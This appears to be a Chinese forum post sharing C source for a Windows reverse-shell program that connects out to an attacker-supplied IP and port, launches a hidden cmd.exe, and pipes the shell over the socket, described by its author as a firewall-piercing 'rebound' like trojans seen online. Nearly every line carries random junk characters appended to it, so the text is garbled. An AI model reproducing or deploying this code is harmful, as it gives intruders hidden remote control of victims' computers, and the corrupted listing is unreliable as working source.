Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 +`9yZOaC#  
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/* ==============================
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Rebound port in Windows NT 7\f{'KL  
By wind,2006/7 Jxf}b}^T  
===============================*/ Z$1.^H.Db  
#include )ph30B  
#include h&q=I.3O|?  
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#pragma comment(lib,"wsock32.lib") Fdr*xHx$P  
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void OutputShell(); a" ^#!G<+  
SOCKET sClient; i<J^:7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i'Wcf1I-=  
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void main(int argc,char **argv) \4/:^T}*  
{ <3)|44.o&  
WSADATA stWsaData; k+f1sV[4}  
int nRet; t[/\KG8  
SOCKADDR_IN stSaiClient,stSaiServer; 2'|XtSj  
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if(argc != 3) 
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{ wG;}TxrLS  
printf("Useage:\n\rRebound DestIP DestPort\n"); XNKtL]U}$  
return; g(KK9Unu  
} 5"$e=y/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ypgliq(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bG"6pU  
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stSaiClient.sin_family = AF_INET; Ko4)0&  
stSaiClient.sin_port = htons(0); {qY3L8b  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?<Z)*CF)  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,eyp$^2  
{ 4P`PmQ=GQh  
printf("Bind Socket Failed!\n"); 8I<_w4fC  
return; i0VhG:O;  
} #dHr&1(  
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stSaiServer.sin_family = AF_INET; h\/^Aa0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /L)?> tg  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \moZ6J  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~wa%fM  
{ p .lu4  
printf("Connect Error!"); qK{|Q  
return; ;_>s0rUV  
} b=V)?"e-  
OutputShell(); A>4l/  
} +GRxHuW,  
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void OutputShell() r(PJ~8)(=  
{ ZYrKG+fkl  
char szBuff[1024]; Ewa[Y=+tx  
SECURITY_ATTRIBUTES stSecurityAttributes; "9)1K!tH  
OSVERSIONINFO stOsversionInfo; Gs^(YG
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bta0?O #  
STARTUPINFO stStartupInfo; UENYJ*tnP  
char *szShell; u4go*#  
PROCESS_INFORMATION stProcessInformation; }~myf\$  
unsigned long lBytesRead; ]lymY _ >  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JJ^iy*v  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (r.$%[,.<  
stSecurityAttributes.lpSecurityDescriptor = 0; V#p G; ,  
stSecurityAttributes.bInheritHandle = TRUE; 9"m,p  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *K]>}  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jK& Nkp  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Kh>?!`lL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ['/;'NhdlY  
stStartupInfo.wShowWindow = SW_HIDE; V
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stStartupInfo.hStdInput = hReadPipe; (3)C_Z  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 71K\.[ =-  
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GetVersionEx(&stOsversionInfo); j4.Qvj >:4  
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switch(stOsversionInfo.dwPlatformId) <1ztj
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{ !O 0ZD4/{4  
case 1: "
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szShell = "command.com"; [{hLF9yPx  
break; NTXws4'D  
default: {Bav$kw;?e  
szShell = "cmd.exe"; m~Lf^gbG?  
break; J`U$b+q6  
} =g{_^^n  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #R~">g:w  
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send(sClient,szMsg,77,0); MAsWds`bpB  
while(1) u.ULS3`C/X  
{ f]@[4<Ny  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sg'Y4  
if(lBytesRead) k@'?"CP\Xq  
{ @\
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &6|6J1c8  
send(sClient,szBuff,lBytesRead,0); Vvxc8v:  
} O+CF/ipX/  
else eY0Ly7  
{ yb@X*PW
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lBytesRead=recv(sClient,szBuff,1024,0); SL?%/$2g=O  
if(lBytesRead<=0) break; }'@tA")-)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VWnu#_(  
} 8eg2o$k_,#  
} d +*T@k]>M  
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return; m)tI  
}